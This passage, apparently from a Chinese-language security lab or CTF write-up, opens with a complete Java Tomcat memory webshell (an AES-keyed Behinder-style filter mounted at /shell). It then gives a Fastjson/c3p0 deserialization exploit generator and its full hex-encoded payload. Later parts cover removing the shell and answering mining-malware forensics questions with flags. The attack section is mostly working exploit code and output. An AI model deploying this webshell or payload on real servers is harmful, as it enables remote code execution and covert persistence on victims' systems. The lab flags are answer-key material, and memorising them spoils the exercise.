(cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } else { Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } filterChain.doFilter(servletRequest, servletResponse); } } public void destroy() { } public void RushThere(Class Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map<String, Object> pageContext) { byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTFU7AQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT"); try { Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); define.setAccessible(true); Class uclass = null; try { uclass = cl.loadClass("U"); } catch (ClassNotFoundException var18) { uclass = (Class)define.invoke(cl, bytecode, 0, bytecode.length); } Constructor constructor = uclass.getDeclaredConstructor(ClassLoader.class); constructor.setAccessible(true); Object u = constructor.newInstance(this.getClass().getClassLoader()); Method Um = uclass.getDeclaredMethod("g", byte[].class); Um.setAccessible(true); String k = "3ad2fddfe8bad8e6"; session.setAttribute("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); byte[] eClassBytes = c.doFinal((new BASE64Decoder()).decodeBuffer(request.getReader().readLine())); Class eclass = (Class)Um.invoke(u, eClassBytes); Object a = eclass.newInstance(); Method b = eclass.getDeclaredMethod("equals", Object.class); b.setAccessible(true); b.invoke(a, pageContext); } catch (Exception var19) { } } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { String name = "AutomneGreet"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map)Configs.get(standardContext); if (filterConfigs.get("AutomneGreet") == null) { Filter filter = new IceShell(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName("AutomneGreet"); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/shell"); filterMap.setFilterName("AutomneGreet"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)constructor.newInstance(standardContext, filterDef); filterConfigs.put("AutomneGreet", filterConfig); } } catch (Exception var10) { } }} 8.内存马做好后结合c3p0链生成json,最终exp如下: import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap; public class rce { public static void main(String[] args) throws Exception { String hex2 = bytesToHex(tobyteArray(gen())); String FJ1247 = "{\n" + " \"a\":{\n" + " \"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"java.lang.Class\",\n" + " \"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" + " },\n" + " \"b\":{\n" + " \"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" + " \"\\u0075\\u0073\\u0065\\u0072\\u004F\\u0076\\u0065\\u0072\\u0072\\u0069\\u0064\\u0065\\u0073\\u0041\\u0073\\u0053\\u0074\\u0072\\u0069\\u006E\\u0067\":\"HexAsciiSerializedMap:" + hex2 + ";\",\n" + " }\n" + "}\n"; System.out.println(FJ1247); } //FastJson原生反序列化加载恶意类字节码 public static Object gen() throws Exception { TemplatesImpl templates = TemplatesImpl.class.newInstance(); byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\Administrator\\Desktop\\untitled\\src\\main\\java\\IceShell.java")); //做好的冰蝎马地址,读取其中字节即可 setValue(templates, "_bytecodes", new byte[][]{bytes}); setValue(templates, "_name", "1"); setValue(templates, "_tfactory", null); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd,"val",jsonArray); HashMap hashMap = new HashMap(); hashMap.put(templates,bd); return hashMap; } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } //将类序列化为字节数组 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); // return bao.toByteArray(); } //字节数组转十六进制 public static String bytesToHex(byte[] bytes) { StringBuffer stringBuffer = new StringBuffer(); for (int i = 0; i < bytes.length; i++) { String hex = Integer.toHexString(bytes[i] & 0xff); //bytes[]中为带符号字节-255~+255,&0xff: 保证得到的数据在0~255之间 if (hex.length()<2){ stringBuffer.append("0" + hex); //0-9 则在前面加‘0’,保证2位避免后面读取错误 }else { stringBuffer.append(hex); } } return stringBuffer.toString(); }} 9.加入tomcat和fastjson依赖,编译运行,得到一串json格式数据。 { "a":{ "\u0040\u0074\u0079\u0070\u0065":"java.lang.Class", "val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "b":{ "\u0040\u0074\u0079\u0070\u0065":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067":"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e002000078700000254acafebabe0000003401880a005e00cc0800cd09004b00ce0700cf0700d00b000400d10700d20a000700cc08007f0b004900d308007b08007d0a00d400d50a00d400d60b000400d70800d80a00d900da0a002400db0a001c00dc0a001c00dd0800de0a004b00df0b00e000e10a00e200e30800e40a00e500e60800e70700e80700a40900e900ea0a001c00eb0a00ec00ed0800ee0a002700ef0700f00700f10a00e900f20a00ec00f30700f40a001c00f50a00f600ed0a001c00f70a00f600f80800f908009d0b00fa00fb0800fc0a00fd00fe0700ff0a00d901000a003101010a00fd01020701030a003500cc0b000401040a010501060a003501070a00fd01080a001c010908010a07010b08010c07010d0a003f010e0b010f01100701110801120a001c01130800c90a001c01140a011500ed0a011501160701170b004901160701180a004b00cc0701190a004d00cc0a004d011a0a004d011b0a004d011c0a0042011d07011e0a005300cc08011f0a005301200a0053011b09012101220a012101230a005301240a0042012507012607012707012807012901000270610100124c6a6176612f6c616e672f537472696e673b01000d436f6e7374616e7456616c75650100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301000a4c4963655368656c6c3b010004696e697401001f284c6a617661782f736572766c65742f46696c746572436f6e6669673b295601000c66696c746572436f6e66696701001c4c6a617661782f736572766c65742f46696c746572436f6e6669673b01000a457863657074696f6e7307012a0100104d6574686f64506172616d6574657273010008646f46696c74657201005b284c6a617661782f736572766c65742f536572766c6574526571756573743b4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b4c6a617661782f736572766c65742f46696c746572436861696e3b29560100064c636c6173730100114c6a6176612f6c616e672f436c6173733b01000e736572766c65745265717565737401001e4c6a617661782f736572766c65742f536572766c6574526571756573743b01000f736572766c6574526573706f6e736501001f4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b01000b66696c746572436861696e01001b4c6a617661782f736572766c65742f46696c746572436861696e3b010007726571756573740100274c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b010008726573706f6e73650100284c6a617661782f736572766c65742f687474702f48747470536572766c6574526573706f6e73653b01000773657373696f6e0100204c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b01000b70616765436f6e7465787401000f4c6a6176612f7574696c2f4d61703b010002636c0100174c6a6176612f6c616e672f436c6173734c6f616465723b0100164c6f63616c5661726961626c65547970655461626c650100354c6a6176612f7574696c2f4d61703c4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b3e3b01000d537461636b4d61705461626c6507011807012b07012c07012d0700cf0700d007012e0701170700f40700e807012f01000764657374726f79010009527573685468657265010081284c6a6176612f6c616e672f436c6173733b4c6a6176612f6c616e672f436c6173734c6f616465723b4c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b4c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b4c6a6176612f7574696c2f4d61703b295601000576617231380100224c6a6176612f6c616e672f436c6173734e6f74466f756e64457863657074696f6e3b010006646566696e6501001a4c6a6176612f6c616e672f7265666c6563742f4d6574686f643b01000675636c61737301000b636f6e7374727563746f7201001f4c6a6176612f6c616e672f7265666c6563742f436f6e7374727563746f723b010001750100124c6a6176612f6c616e672f4f626a6563743b010002556d0100016b010001630100154c6a617661782f63727970746f2f4369706865723b01000b65436c61737342797465730100025b4201000665636c617373010001610100016201000862797465636f64650701300700f007010b0100095369676e61747572650100a7284c6a6176612f6c616e672f436c6173733b4c6a6176612f6c616e672f436c6173734c6f616465723b4c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b4c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b4c6a6176612f7574696c2f4d61703c4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b3e3b29560100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0701310100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0100083c636c696e69743e01000666696c7465720100164c6a617661782f736572766c65742f46696c7465723b01000966696c7465724465660100314c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724465663b01000966696c7465724d61700100314c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724d61703b0100324c6f72672f6170616368652f636174616c696e612f636f72652f4170706c69636174696f6e46696c746572436f6e6669673b0100046e616d65010015776562617070436c6173734c6f61646572426173650100324c6f72672f6170616368652f636174616c696e612f6c6f616465722f576562617070436c6173734c6f61646572426173653b01000f7374616e64617264436f6e7465787401002a4c6f72672f6170616368652f636174616c696e612f636f72652f5374616e64617264436f6e746578743b010007436f6e666967730100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000d66696c746572436f6e6669677301000a536f7572636546696c6501000d4963655368656c6c2e6a6176610c00630064010010336164326664646665386261643865360c006000610100256a617661782f736572766c65742f687474702f48747470536572766c6574526571756573740100266a617661782f736572766c65742f687474702f48747470536572766c6574526573706f6e73650c013201330100116a6176612f7574696c2f486173684d61700c013401350701360c013701380c0139013a0c013b013c010004504f535407013d0c010a013e0c013f01400c014101400c0142013c0100156a6176612e6c616e672e436c6173734c6f616465720c0094009507012d0c007101430701440c0145014801026479763636766741414144514147676f41424141554367414541425548414259484142634241415938615735706444344241426f6f54477068646d4576624746755a7939446247467a633078765957526c636a73705667454142454e765a4755424141394d6157356c546e5674596d5679564746696247554241424a4d62324e6862465a68636d6c68596d786c56474669624755424141523061476c7a415141445446553741514142597745414630787159585a684c327868626d63765132786863334e4d6232466b5a584937415141425a7745414653686251696c4d616d4632595339735957356e4c304e7359584e7a4f7745414157494241414a6251674541436c4e7664584a6a5a555a706247554241415a564c6d7068646d454d41415541426777414741415a415141425651454146577068646d4576624746755a7939446247467a633078765957526c636745414332526c5a6d6c755a554e7359584e7a415141584b46744353556b7054477068646d4576624746755a7939446247467a637a734149514144414151414141414141414941414141464141594141514148414141414f67414341414941414141474b6975334141477841414141416741494141414142674142414141414167414a4141414146674143414141414267414b4141734141414141414159414441414e414145414151414f41413841415141484141414150514145414149414141414a4b6973444b37363341414b7741414141416741494141414142674142414141414177414a4141414146674143414141414351414b414173414141414141416b4145414152414145414151415341414141416741540701490c014a014b01000b646566696e65436c61737301000f6a6176612f6c616e672f436c61737307014c0c014d00740c014e014f0701300c01500151010001550c015201530100206a6176612f6c616e672f436c6173734e6f74466f756e64457863657074696f6e0100106a6176612f6c616e672f4f626a6563740c015401550c015601570100156a6176612f6c616e672f436c6173734c6f616465720c0158015907015a0c015b013a0c015c015d0100016707012e0c015e015f0100034145530701600c0161016201001f6a617661782f63727970746f2f737065632f5365637265744b6579537065630c016301640c006301650c006a016601001673756e2f6d6973632f4241534536344465636f6465720c016701680701690c016a013c0c016b014b0c016c016d0c015c016e010006657175616c730100136a6176612f6c616e672f457863657074696f6e01000c4175746f6d6e6547726565740100306f72672f6170616368652f636174616c696e612f6c6f616465722f576562617070436c6173734c6f61646572426173650c016f01700701710c017201730100286f72672f6170616368652f636174616c696e612f636f72652f5374616e64617264436f6e746578740100286f72672e6170616368652e636174616c696e612e636f72652e5374616e64617264436f6e746578740c017401530c017501760701770c0178017901000d6a6176612f7574696c2f4d61700100084963655368656c6c01002f6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724465660c017a017b0c017c017d0c017e017d0c017f018001002f6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724d61700100062f7368656c6c0c0181017d0701820c018301840c00c2013c0c0185017d0c018601870100306f72672f6170616368652f636174616c696e612f636f72652f4170706c69636174696f6e46696c746572436f6e66696701001b6f72672f6170616368652f636174616c696e612f436f6e74657874010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a617661782f736572766c65742f46696c74657201001e6a617661782f736572766c65742f536572766c6574457863657074696f6e01001c6a617661782f736572766c65742f536572766c65745265717565737401001d6a617661782f736572766c65742f536572766c6574526573706f6e73650100196a617661782f736572766c65742f46696c746572436861696e01001e6a617661782f736572766c65742f687474702f4874747053657373696f6e0100136a6176612f696f2f494f457863657074696f6e0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01000a67657453657373696f6e01002228294c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b010003707574010038284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010015676574436f6e74657874436c6173734c6f6164657201001928294c6a6176612f6c616e672f436c6173734c6f616465723b0100096765744d6574686f6401001428294c6a6176612f6c616e672f537472696e673b0100106a6176612f6c616e672f537472696e67010015284c6a6176612f6c616e672f4f626a6563743b295a010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b01000d6765745375706572636c6173730100076765744e616d65010040284c6a617661782f736572766c65742f536572766c6574526571756573743b4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b29560100106a6176612f7574696c2f42617365363401000a6765744465636f6465720100074465636f64657201000c496e6e6572436c617373657301001c28294c6a6176612f7574696c2f426173653634244465636f6465723b0100186a6176612f7574696c2f426173653634244465636f6465720100066465636f6465010016284c6a6176612f6c616e672f537472696e673b295b420100116a6176612f6c616e672f496e7465676572010004545950450100116765744465636c617265644d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b01000d73657441636365737369626c65010004285a29560100096c6f6164436c617373010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b01000776616c75654f660100162849294c6a6176612f6c616e672f496e74656765723b010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100166765744465636c61726564436f6e7374727563746f72010033285b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f436f6e7374727563746f723b01001d6a6176612f6c616e672f7265666c6563742f436f6e7374727563746f7201000e676574436c6173734c6f6164657201000b6e6577496e7374616e6365010027285b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b01000c736574417474726962757465010027284c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b29560100136a617661782f63727970746f2f43697068657201000b676574496e7374616e6365010029284c6a6176612f6c616e672f537472696e673b294c6a617661782f63727970746f2f4369706865723b010008676574427974657301000428295b42010017285b424c6a6176612f6c616e672f537472696e673b295601001728494c6a6176612f73656375726974792f4b65793b295601000967657452656164657201001a28294c6a6176612f696f2f42756666657265645265616465723b0100166a6176612f696f2f4275666665726564526561646572010008726561644c696e6501000c6465636f6465427566666572010007646f46696e616c010006285b42295b4201001428294c6a6176612f6c616e672f4f626a6563743b01000c6765745265736f757263657301002728294c6f72672f6170616368652f636174616c696e612f5765625265736f75726365526f6f743b0100236f72672f6170616368652f636174616c696e612f5765625265736f75726365526f6f7401000a676574436f6e7465787401001f28294c6f72672f6170616368652f636174616c696e612f436f6e746578743b010007666f724e616d650100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c64010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b01000973657446696c746572010019284c6a617661782f736572766c65742f46696c7465723b295601000d73657446696c7465724e616d65010015284c6a6176612f6c616e672f537472696e673b295601000e73657446696c746572436c61737301000c61646446696c746572446566010034284c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724465663b295601000d61646455524c5061747465726e01001c6a617661782f736572766c65742f44697370617463686572547970650100075245515545535401001e4c6a617661782f736572766c65742f44697370617463686572547970653b01000d7365744469737061746368657201001261646446696c7465724d61704265666f7265010034284c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724d61703b29560021004b005e0001005f0001001200600061000100620000000200020008000100630064000100650000003d000200010000000b2ab700012a1202b50003b10000000200660000000e00030000002900040027000a002a00670000000c00010000000b0068006900000001006a006b00030065000000350000000200000001b10000000200660000000600010000002d00670000001600020000000100680069000000000001006c006d0001006e000000040001006f00700000000501006c000000010071007200030065000003180006000a000001ab2bc000043a042cc000053a051904b9000601003a06bb000759b700083a07190712091906b9000a0300571907120b1904b9000a0300571907120c1905b9000a030057b8000db6000e3a081904b9000f01001210b600119901541908b60012b60013b600141215b6001199001e1908b60012b600133a092a19091908190619041907b60016a7011e1908b60012b60013b60013b600141215b600119900211908b60012b60013b600133a092a19091908190619041907b60016a700ea1908b60012b60013b60013b60013b600141215b600119900241908b60012b60013b60013b600133a092a19091908190619041907b60016a700b01908b60012b60013b60013b60013b60013b600141215b600119900271908b60012b60013b60013b60013b600133a092a19091908190619041907b60016a700701908b60012b60013b60013b60013b60013b60013b600141215b6001199002a1908b60012b60013b60013b60013b60013b600133a092a19091908190619041907b60016a7002a1908b60012b60013b60013b60013b60013b60013b600133a092a19091908190619041907b600162d2b2cb900170300b100000004006600000072001c0000003000060031000c003200150033001e0034002a00350036003600420037004a00380059003a006c003b0076003c0087003d009d003e00aa003f00bb004000d4004100e4004200f5004301110044012400450135004601540047016a0048017b004a0194004b01a2004e01aa0051006700000098000f0076001100730074000900aa001100730074000900e4001100730074000901240011007300740009016a001100730074000901940016007300740009000001ab006800690000000001ab007500760001000001ab007700780002000001ab0079007a0003000601a5007b007c0004000c019f007d007e000500150196007f00800006001e018d008100820007004a016100830084000800850000000c0001001e018d0081008600070087000000330007ff0087000907008807008907008a07008b07008c07008d07008e07008f070090000033393ffb0045fc0026070091fa0007006e0000000600020092006f00700000000d03007500000077000000790000000100930064000100650000002b0000000100000001b10000000200660000000600010000005400670000000c00010000000100680069000000010094009500030065000002e50006001200000133b800181219b6001a3a062b121b06bd001c5903121d535904b2001e535905b2001e53b6001f3a07190704b60020013a082c1221b600223a08a700293a0919072c06bd00245903190653590403b800255359051906beb8002553b60026c0001c3a08190804bd001c5903122753b600283a09190904b60029190904bd002459032ab60012b6002a53b6002b3a0a1908122c04bd001c5903121d53b6001f3a0b190b04b6002012023a0c2d122d190cb9002e0300122fb800303a0d190d05bb003159190cb60032122fb70033b60034190dbb003559b700361904b900370100b60038b60039b6003a3a0e190b190a04bd00245903190e53b60026c0001c3a0f190fb6003b3a10190f123c04bd001c5903122453b6001f3a11191104b600201911191004bd00245903190553b6002657a700053a07b1000200300038003b0023000a012d0130003d000400660000006a001a00000057000a005a0027005b002d005c0030005f00380062003b0060003d0061006100640071006500770066008c0067009e006800a4006900a8006a00b2006b00b9006c00cd006d00e8006e00fd006f0104007001160071011c0072012d007401300073013200750067000000c00013003d002400960097000900270106009800990007003000fd009a00740008007100bc009b009c0009008c00a1009d009e000a009e008f009f0099000b00a8008500a00061000c00b9007400a100a2000d00e8004500a300a4000e00fd003000a50074000f0104002900a6009e00100116001700a70099001100000133006800690000000001330073007400010000013300830084000200000133007f0080000300000133007b007c000400000133008100820005000a012900a800a4000600850000000c0001000001330081008600050087000000480004ff003b000907008807009107009007008e07008c07008f07001d0700a907009100010700aa25ff00ce000707008807009107009007008e07008c07008f07001d00010700ab01007000000015050073000000830000007f0000007b00000081000000ac0000000200ad000100ae00af000300650000003f0000000300000001b1000000020066000000060001000000780067000000200003000000010068006900000000000100b000b100010000000100b200b30002006e00000004000100b40070000000090200b0000000b20000000100ae00b500030065000000490000000400000001b10000000200660000000600010000007b00670000002a0004000000010068006900000000000100b000b100010000000100b600b700020000000100b800b90003006e00000004000100b400700000000d0300b0000000b6000000b80000000800ba006400010065000001da0005000a000000de123e4bb8000db6000ec0003f4c2bb60040b900410100c000424d1243b800441245b600464e2d04b600472d2cb60048c000493a041904123eb9004a0200c7009cbb004b59b7004c3a05bb004d59b7004e3a0619061905b6004f1906123eb6005019061905b60012b60014b600512c1906b60052bb005359b700543a0719071255b600561907123eb600571907b20058b60059b6005a2c1907b6005b125c05bd001c5903125d535904124d53b600283a08190804b60029190805bd002459032c535904190653b6002bc0005c3a091904123e1909b9000a030057a700044bb10001000000d900dc003d000300660000006600190000007f00030080000d0081001a008200250083002a008400340085004000860049008700520088005900890060008a006d008b0073008c007c008d0083008e008a008f00950090009b009100b0009200b6009300cd009400d9009700dc009600dd0099006700000066000a0049009000bb00bc00050052008700bd00be0006007c005d00bf00c0000700b00029009b009c000800cd000c006c00c10009000300d600c200610000000d00cc00c300c40001001a00bf00c500c60002002500b400c700c80003003400a500c90082000400870000000a0003fb00d9420700ab00000200ca0000000200cb01470000000a000100e500e201460009707400013170770100787372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d65737361676571007e00055b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0014707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000027372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e000578700000002774000454657374740009546573742e6a61766174000367656e7371007e00170000000f71007e001971007e001a7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e00137872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b7870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a657870000000007704000000007871007e0023787372001e636f6d2e616c69626162612e666173746a736f6e2e4a534f4e417272617900000000000000010200014c00046c69737471007e001378707371007e00220000000177040000000171007e00077878;", }} 10、同样对@type字段unicode编码,注入内存马。 11、成功连接注入的内存马 12、直接冰蝎命令执行查看内核版本 查杀内存马 1.冰蝎修改root密码,ssh登录上去,上传即将用到的两个文件cop.jar和arthas-boot.jarcop.jararthas 2、使用cop.jar将java内存拷贝出来并打包 3、使用d盾、河马等软件自动找到内存马文件 4、修改可疑文件中的冰蝎密钥,并重新编译(也可以修改其他地方,确保文件无法利用或无危害即可) 5、上传编译后的文件IceShell.class,使用arthas热更新该文件。若未配置java环境变量,使用find / -name java 找到java路径即可。 6、用之前的密钥冰蝎连接失败,用修改后的密钥冰蝎连接成功。 后门查杀 如图清除即可。 第九章-algo挖矿 1、通过本地 PC SSH 到服务器并且分析黑客的 IP 为多少,将黑客 IP 作为 FLAG 提交 cat /var/log/auth.log.1 2、通过本地 PC SSH 到服务器并且分析黑客挖矿程序反链 IP 为多少,将黑客挖矿程序反链的 IP 作为 FLAG 提交 一般在计划任务 cat /var/spool/cron/crontabs/root 可以找到挖矿木马,运行后通过查看进程的pid来确定反链ip 3、通过本地 PC SSH 到服务器并且分析黑客权限维持文件的 md5, 将文件的 MD5 (md5sum /file) 作为 FLAG 提交 通过分析认为做了维权的就是上面那个定时任务 4、通过本地 PC SSH 到服务器并且分析黑客的用户名为什么,将黑客的用户名作为 FLAG 提交 先看passwd 如果没有就考虑看密钥里是否保存用户信息 第九章-kswapd0挖矿 通过本地 PC SSH到服务器并且分析黑客的 IP 为多少,将黑客 IP 作为 FLAG 提交; 直接使用命令last查看历史登入记录 flag: flag{183.164.3.252} 通过本地 PC SSH到服务器并且分析黑客的用户名为什么,将黑客的用户名作为 FLAG 提交; 用户名在authorized_keys私钥文件里面可见 flag:flag{mdrfckr} 通过本地 PC SSH到服务器并且分析黑客权限维持文件的md5,将文件的 MD5(md5sum /file) 作为 FLAG 提交; 直接输入crontab -e查看定时任务 会发现写入了一些初始文件解压后的内容,于是猜测权限维持的手段就是定时任务,其实刚刚的那个ssh私钥也是,这不是这个是另外一个问题的答案 flag :flag{cc84a750dcfb988861c8bf90aa15c039} 第九章-实战篇-运维杰克 攻击者使用的的漏洞扫描工具有哪些(两个) 目前没有理解 参考 https://mp.weixin.qq.com/s/WMWBDI5ClhpQP0wDT0PaGw 一开始一直以为是 fscan 和 xray 后面看师傅的wp是 fscan 和 goby flag{fscan-goby} 2 攻击者上传webshell的绝对路径及User-agent 